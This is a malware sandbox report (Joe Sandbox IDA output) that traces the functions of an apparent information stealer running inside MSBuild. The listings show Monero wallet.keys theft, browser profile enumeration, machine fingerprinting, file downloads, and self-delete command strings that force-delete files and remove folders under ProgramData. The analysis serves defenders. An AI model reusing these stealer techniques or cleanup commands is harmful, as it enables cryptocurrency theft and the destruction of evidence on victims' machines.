Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memsetlstrcpy$lstrcat$ExecuteExitFileModuleNameProcessShelllstrlen
String ID: " & exit$" & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\
API String ID: 2823247455-1079830800
Opcode ID: d422a401582e63c5a8ddf1c1e1ebbc82d46f8f2d7e5a69427eac4bc0c7923cf1
Instruction ID: 42d7332e6cc6663f0099cc2e6ad6024dff952061cbeabe4f84512a7cff8bb842
Opcode Fuzzy Hash: d422a401582e63c5a8ddf1c1e1ebbc82d46f8f2d7e5a69427eac4bc0c7923cf1
Instruction Fuzzy Hash: 4F51ACB1D4022A9BCB21EF55CD41ADDB3BCAB44708F4110EAA718B3151DA786FC68E58

Function 004109A2 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 110memorystringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71
wsprintfA.USER32 ref: 00410AA7
lstrcatA.KERNEL32(00000000,00436E3C), ref: 00410AB6

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713

lstrlenA.KERNEL32(?), ref: 00410ACD

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(00000000,00000000), ref: 00410AF0

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Strings

0xA, xrefs: 00410B21
:\, xrefs: 00410A06
QuBi, xrefs: 00410A27
C, xrefs: 004109DF

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$AllocCurrentDirectoryInformationProcessProfileVolumeWindows_memsetlstrcpylstrlenmallocstrncpywsprintf
String ID: 0xA$:\$C$QuBi
API String ID: 1856320939-2474135401
Opcode ID: fe1506f50967b878d8a816889520671eb8f24b5d456e6e545ca51c3c9142c769
Instruction ID: a97db629e7901cba1803c5ad0a4512298f3feb58bff5cd952ebdd5184ea07982
Opcode Fuzzy Hash: fe1506f50967b878d8a816889520671eb8f24b5d456e6e545ca51c3c9142c769
Instruction Fuzzy Hash: A741AFB1A042289BCB249F749D85ADEBBB9EF19304F0000EAF109E3121E6758FD58F54

Function 004067ED Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406836
StrCmpCA.SHLWAPI(?), ref: 00406856
InternetOpenUrlA.WININET(?,?,00000000,00000000,-00800100,00000000), ref: 00406877
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406892
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004068C8
InternetReadFile.WININET(00000000,?,00000400,?), ref: 004068F8
CloseHandle.KERNEL32(?), ref: 00406923
InternetCloseHandle.WININET(00000000), ref: 0040692A
InternetCloseHandle.WININET(?), ref: 00406936

Strings

<+A, xrefs: 00406954

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: <+A
API String ID: 2507841554-2778417545
Opcode ID: b126a83a8e75cd60647665ee46d5c35e74e88a93df8161cbc9eec9515351366c
Instruction ID: 38e87463d8a567d304acc58f085aeda0b6ea51c0627365b5ff586089dea0ca20
Opcode Fuzzy Hash: b126a83a8e75cd60647665ee46d5c35e74e88a93df8161cbc9eec9515351366c
Instruction Fuzzy Hash: ED411CB1900128ABDF20DB21DD49BDA7BB9EB04315F1040B6BB09B21A1D6359E958FA8

Function 0040EABC Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 290COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(0094C481), ref: 0040EAF9
StrCmpCA.SHLWAPI(0094C481), ref: 0040EB56
StrCmpCA.SHLWAPI(0094C481,firefox), ref: 0040EE1D
StrCmpCA.SHLWAPI(0094C481), ref: 0040EC33

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

StrCmpCA.SHLWAPI(0094C481), ref: 0040ECE3
StrCmpCA.SHLWAPI(0094C481), ref: 0040ED40

Strings

firefox, xrefs: 0040EE17
Stable\, xrefs: 0040EB71
Stable\, xrefs: 0040ED5B

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: Stable\$ Stable\$firefox
API String ID: 3722407311-2697854757
Opcode ID: 161ecba77e78b84977177c9a2eec29f434eb24eb35194929f651236fe4565c49
Instruction ID: 5ee9920858f87ab95f25d72870b6309d75f224e844084726c2f6447a77145a42
Opcode Fuzzy Hash: 161ecba77e78b84977177c9a2eec29f434eb24eb35194929f651236fe4565c49
Instruction Fuzzy Hash: 5FB19E72D00109AFDF20FFA9D947B8D7772AF40318F550126F904B7291DB78AA688BD9

Function 00401AB8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 129stringfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401ADC

Part of subcall function 00401A51: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
Part of subcall function 00401A51: HeapAlloc.KERNEL32(00000000), ref: 00401A6C
Part of subcall function 00401A51: RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
Part of subcall function 00401A51: RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4
Part of subcall function 00401A51: RegCloseKey.ADVAPI32(00401AE9), ref: 00401AAD

lstrcatA.KERNEL32(?,00000000,?,?,00000000), ref: 00401AF1
lstrlenA.KERNEL32(?), ref: 00401AFE
lstrcatA.KERNEL32(?,.keys), ref: 00401B19

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

CopyFileA.KERNEL32(?,?,00000001), ref: 00401C2A

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

DeleteFileA.KERNEL32(?), ref: 00401C9D

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Strings

\Monero\wallet.keys, xrefs: 00401B2F
.keys, xrefs: 00401B0D

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseCreateHeaplstrlen$CopyDeleteHandleLocalObjectOpenProcessQueryReadSingleSizeSystemThreadTimeValueWait_memset
String ID: .keys$\Monero\wallet.keys
API String ID: 615783205-3586502688
Opcode ID: e315d58a9e0246034c20351f87248d432db0c5e929893418433aec7ea3ed2e35
Instruction ID: 2364c372bad150323d67af03c4d359b51cc93a95bd900eacfe79e48eddbf336c
Opcode Fuzzy Hash: e315d58a9e0246034c20351f87248d432db0c5e929893418433aec7ea3ed2e35
Instruction Fuzzy Hash: 13515EB1E5011D9BCF11EB25DD466DD7379AF04308F1050BAB60873191DA78AFC98F48

Function 00415DF7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 120stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,00000000,?), ref: 00415E86

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000), ref: 00415EA3
lstrcatA.KERNEL32(?,?), ref: 00415EC2
lstrcatA.KERNEL32(?,?), ref: 00415ED6
lstrcatA.KERNEL32(?), ref: 00415EE9
lstrcatA.KERNEL32(?,?), ref: 00415EFD
lstrcatA.KERNEL32(?), ref: 00415F10

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00415B0B: GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00415B30
Part of subcall function 00415B0B: HeapAlloc.KERNEL32(00000000), ref: 00415B37
Part of subcall function 00415B0B: wsprintfA.USER32 ref: 00415B50
Part of subcall function 00415B0B: FindFirstFileA.KERNEL32(?,?), ref: 00415B67
Part of subcall function 00415B0B: StrCmpCA.SHLWAPI(?,00436A98), ref: 00415B88
Part of subcall function 00415B0B: StrCmpCA.SHLWAPI(?,00436A9C), ref: 00415BA2
Part of subcall function 00415B0B: wsprintfA.USER32 ref: 00415BC9
Part of subcall function 00415B0B: CopyFileA.KERNEL32(?,?,00000001), ref: 00415C86
Part of subcall function 00415B0B: DeleteFileA.KERNEL32(?), ref: 00415CA9

Strings

\{A, xrefs: 00415FC2

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Heapwsprintf$AllocAttributesCopyDeleteFindFirstFolderPathProcesslstrcpy
String ID: \{A
API String ID: 1546541418-1475862525
Opcode ID: d4b2bde86fe4251d1723cf1afd7b1acd461b49a3d9a868b58b9625d100857c79
Instruction ID: 1319a00e3beaa56ad984c577cc8328c236cda2b61ebb5edaa0c38c4a30c6fdde
Opcode Fuzzy Hash: d4b2bde86fe4251d1723cf1afd7b1acd461b49a3d9a868b58b9625d100857c79
Instruction Fuzzy Hash: 1E51FBB1A0011C9BCF54DB64DC85ADDB7B9BB4C315F4044EAFA09E3250EA35AB898F58

Function 0040FB2D Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000,?,?,?), ref: 0040FB52
OpenProcess.KERNEL32(001FFFFF,00000000,00000000), ref: 0040FB7E
_memset.LIBCMT ref: 0040FBC1
??_V@YAXPAX@Z.MSVCRT(?), ref: 0040FD17

Part of subcall function 0040F030: _memmove.LIBCMT ref: 0040F04A

Strings

N0ZWFt, xrefs: 0040FC7E

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: OpenProcess_memmove_memset
String ID: N0ZWFt
API String ID: 2647191932-431618156
Opcode ID: 5f62aa5b6abcaa0ca0cbb89d9b96bb4e1aae85ed0061038e1d2274415a3f45d9
Instruction ID: 446351bc283c4762e53d247ac54b49bb6219315ee7fac77137ec1a6eb046dabb
Opcode Fuzzy Hash: 5f62aa5b6abcaa0ca0cbb89d9b96bb4e1aae85ed0061038e1d2274415a3f45d9
Instruction Fuzzy Hash: 4A5191B1D0022C9FDB309F54DC85BDDB7B8AB44308F0001FAA609B7692D6796E898F59

Function 0041566F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004156A4
RegOpenKeyExA.KERNEL32(80000001,00000000,00020119,?,?,00000000,?), ref: 004156C4
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,000000FF), ref: 004156EA
RegCloseKey.ADVAPI32(?), ref: 004156F6
lstrcatA.KERNEL32(?,?), ref: 00415725
lstrcatA.KERNEL32(?), ref: 00415738

Strings

.{A, xrefs: 004157FE

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue_memset
String ID: .{A
API String ID: 3891774339-8545219
Opcode ID: f6d98237a04e32636f27a897e0831807c899ef243b91f7b553c1fbd532b5787d
Instruction ID: b4758eb7aeb23ac53986d5a941949a19eceae9c1109b67c9f6111efe06dcff68
Opcode Fuzzy Hash: f6d98237a04e32636f27a897e0831807c899ef243b91f7b553c1fbd532b5787d
Instruction Fuzzy Hash: 0C41C07194011D9FDF24EF60EC86EE9777ABB18309F4004AAB509A31A0EE759FC58F94

Function 00407FAC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
LocalFree.KERNEL32(0040ECBC,?,?,?,?,0040E756,?,?,?), ref: 0040802B
CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Strings

V@, xrefs: 00408042

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID: V@
API String ID: 2311089104-383300688
Opcode ID: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction ID: 10e4ee5bcd24e5c00d10c93a2cb3902743b6293cd5753d2e79081f11b23a5eb1
Opcode Fuzzy Hash: d63a5464314b69c61ac75c0db440d02a9ca78bdcd81ff691c89ea163c61aca46
Instruction Fuzzy Hash: 47116070900204EFDF25DF64DD88EAF7BB9EB48741F20056AF481F2290EB769A85DB11

Function 004115D4 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 48registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00411607
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
RegCloseKey.ADVAPI32(?,?,?,?), ref: 00411657
CharToOemA.USER32(?,?), ref: 0041166B

Strings

SOFTWARE\Microsoft\Cryptography, xrefs: 0041161C
MachineGuid, xrefs: 00411640

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CharCloseOpenQueryValue_memset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2235053359-1211650757
Opcode ID: 05f0a82242895fb301977400293e6bc20ca52c8c5dc3207f31c15ae16d7e7e80
Instruction ID: c9c539ce5467448423737f6d9a950d2a9d5193a79ae08df00dacda0898e1b174
Opcode Fuzzy Hash: 05f0a82242895fb301977400293e6bc20ca52c8c5dc3207f31c15ae16d7e7e80
Instruction Fuzzy Hash: 7B111EB590021DAFDB10DF90DC89FEAB7BDEB04309F5041E6A659E2052E6759F888F14

Function 00401A51 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
HeapAlloc.KERNEL32(00000000), ref: 00401A6C
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4
RegCloseKey.ADVAPI32(00401AE9), ref: 00401AAD

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00401A7F
wallet_path, xrefs: 00401A9C

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 3466090806-4244082812
Opcode ID: da1045694f7c1a98f785db87d1439f5f65af28086f388a3e5cebff55084345b5
Instruction ID: 3e4ac90b5bcc3d6fe188be62ffa2ac0dd84bb3fe34a2510e6e6e226720dcc0e4
Opcode Fuzzy Hash: da1045694f7c1a98f785db87d1439f5f65af28086f388a3e5cebff55084345b5
Instruction Fuzzy Hash: 15F05475780304BFFF14DB90DC0EFAE7A7DDB44B06F141065B601A51D0E7B66A50D664

